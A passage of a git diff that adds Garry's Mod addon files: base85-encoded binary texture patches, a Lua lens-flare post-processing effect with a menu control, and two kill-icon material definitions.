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 R1wOUFrxy6s0{=%W@E^b+TDt%M literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/postprocess/lensflare.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/postprocess/lensflare.lua new file mode 100644 index 0000000..ae77be9 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/postprocess/lensflare.lua @@ -0,0 +1,82 @@ +-- Lens Flare Post-Processing Effect +-- version 1.0 +-- by mahalis +-- +-- Feel free to learn from and reuse this code; if you release something that uses it, +-- please credit me as the original author. + +local pp_lensflare = CreateClientConVar("pp_lensflare", "1", false, false) +local pp_lensflare_intensity = CreateClientConVar("pp_lensflare_intensity","1.0",false,false) + +local glow = surface.GetTextureID("effects/lensflare/smoothring") +local ring = surface.GetTextureID("effects/lensflare/ring") +local circle = surface.GetTextureID("effects/lensflare/circle") + +local function mulW(x,f) + return (x - ScrW()/2) * f + ScrW()/2 +end + +local function mulH(y,f) + return (y - ScrH()/2) * f + ScrH()/2 +end + +local function CenteredSprite(x,y,sz) + surface.DrawTexturedRect(x - sz/2,y - sz/2,sz,sz) +end + +local function DrawFlare() + if !pp_lensflare:GetBool() then return end + + local sun = util.GetSunInfo() + + if !sun or sun.obstruction == 0 then return end + + local sunpos = (EyePos() + sun.direction * 4096):ToScreen() + + local dot = (sun.direction:Dot(EyeVector()) - 0.8) * 5 + + local rSz = ScrW() * 0.15 + + local aMul = math.Clamp((sun.direction:Dot(EyeVector()) - 0.4) * (1 - math.pow(1 - sun.obstruction,2)),0,1) * pp_lensflare_intensity:GetFloat() + + if aMul == 0 then return end + + surface.SetTexture(ring) + surface.SetDrawColor(255,60,140,110 * aMul) + CenteredSprite(sunpos.x,sunpos.y,rSz) + + surface.SetDrawColor(255,240,220,120 * math.pow(aMul,3)) + CenteredSprite(mulW(sunpos.x,-1),mulH(sunpos.y,-1),rSz*1.5) + + surface.SetTexture(glow) + + surface.SetDrawColor(80,90,220,140 * (1 - math.pow(1 - aMul,2))) + CenteredSprite(mulW(sunpos.x,0.55),mulH(sunpos.y,0.55),rSz*0.5) + + surface.SetDrawColor(150,200,5,110 * aMul) + CenteredSprite(mulW(sunpos.x,-0.7),mulH(sunpos.y,-0.7),rSz * 0.7) + + surface.SetDrawColor(150,90,40,140 * math.pow(aMul,2)) + CenteredSprite(mulW(sunpos.x,1.3),mulH(sunpos.y,1.3),rSz*2) + + surface.SetTexture(circle) + surface.SetDrawColor(60,90,190,80 * aMul) + CenteredSprite(mulW(sunpos.x,0.65),mulH(sunpos.y,0.65),rSz*0.8) + + surface.SetDrawColor(100,150,160,120 * aMul) + CenteredSprite(mulW(sunpos.x,-1.2),mulH(sunpos.y,-1.2),rSz*0.4) + +end + +hook.Add("RenderScreenspaceEffects","LensFlare",DrawFlare) + +local function BuildControlPanel( CPanel ) + CPanel:AddControl( "Header", { Text = "#Lens Flare", Description = "#Cinematic lens-flare effect" } ) + CPanel:AddControl( "Slider", { Label = "#Intensity", Command = "pp_lensflare_intensity", Type = "Float", Min = "0", Max = "2" } ) +end + +local function AddPostProcessMenu() + spawnmenu.AddToolMenuOption( "PostProcessing", "PPSimple", "LensFlare", "#Lens Flare", "", "", BuildControlPanel, { SwitchConVar = "pp_lensflare" } ) +end + +hook.Add( "PopulateToolMenu", "AddPostProcessMenu_LensFlare", AddPostProcessMenu ) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/combine_mine.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/combine_mine.vmt new file mode 100644 index 0000000..967829f --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/combine_mine.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/combine_mine" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/combine_mine.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/combine_mine.vtf new file mode 100644 index 0000000000000000000000000000000000000000..8690132c34ff075c9d9cb88f0068f52bbb9c3b6f GIT binary patch literal 5696 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 C%dyn} literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/env_explosion.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/env_explosion.vmt new file mode 100644 index 0000000..9a7ab82 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/env_explosion.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/env_explosion" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/env_explosion.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/env_explosion.vtf new file mode 100644 index 0000000000000000000000000000000000000000..d50b8b3bc18ecd123b76be4b49e1858c9fff4160 GIT binary patch literal 5696 zcmZ8l3s@7^w%(aZAR!6FfEwkfgN!^>3TRPLTN3PT8C$Gc$0)_{u+~SVMMaFL5Tdsg zYwry~toW#ic#Z|BU`zB^EtJys(Bi3DV}S^Azz1R##Ks8`GIwndA9usdmo@t_>;Knd zuRV(wy^h=wLIhm%;ZnmNq7V|mZ|e2cYc2UXuZHVCdiCtIDX*?wu>qbMqP*blE{B^! zfrq`&2tR~a_NJ(vqQvYnr(sSwmf0K%M)7>VefK$yg0+{0Xu0elwo-~VapRXRGayuE zM+#QEI9|&kRft?3@?BRmckIj6tc_cE74%8<=8~u-OX9U3Y@x&vu;4TfiBT3Td<~&O zkU_5*SedzR!VTK4)or^w4jwHxBUtIx3LFB&0wm%tr>QJA5Ua^W0rK$V;Cm zV?G#2Aw56HkBizoWhWA%ef%I#!e7HE)%Ib6vi?E7cyVMtSz*%Z`9a=#A7^#1eY=Nu z@z*(r>l`}U&wTNymzVYN>sv67o{vVQ62mFgRDO`pcZj;&*^HSU;AFBs2P&~J;YmsWTH5u%FY&1Q$2s%_PD(4&7YRGtJrOQ z!scO&x$o_}9-%HWlHGVy`q$Vx{>)?%n$O={&Dvi=cE7iKqTZA4zUV4W(z0g_Zfd2h z`k2pLVFnT>XdMnWv@!E`-N`;b(C6LF8`Iq)4dRe;h^T z5E9!s`TbR`2t6Jd8y$6bdvB^MJ7#gFzFVN2ra(vLrxXPNUyI`Z+9Jv+I9FGo^7uxh zs?5)i==;EPlNU*$$9%`Hr$Y$B*$9k5>v1)6*k7Ez8bYWxAQ!w3+t=Bxq>*vvD=nOb 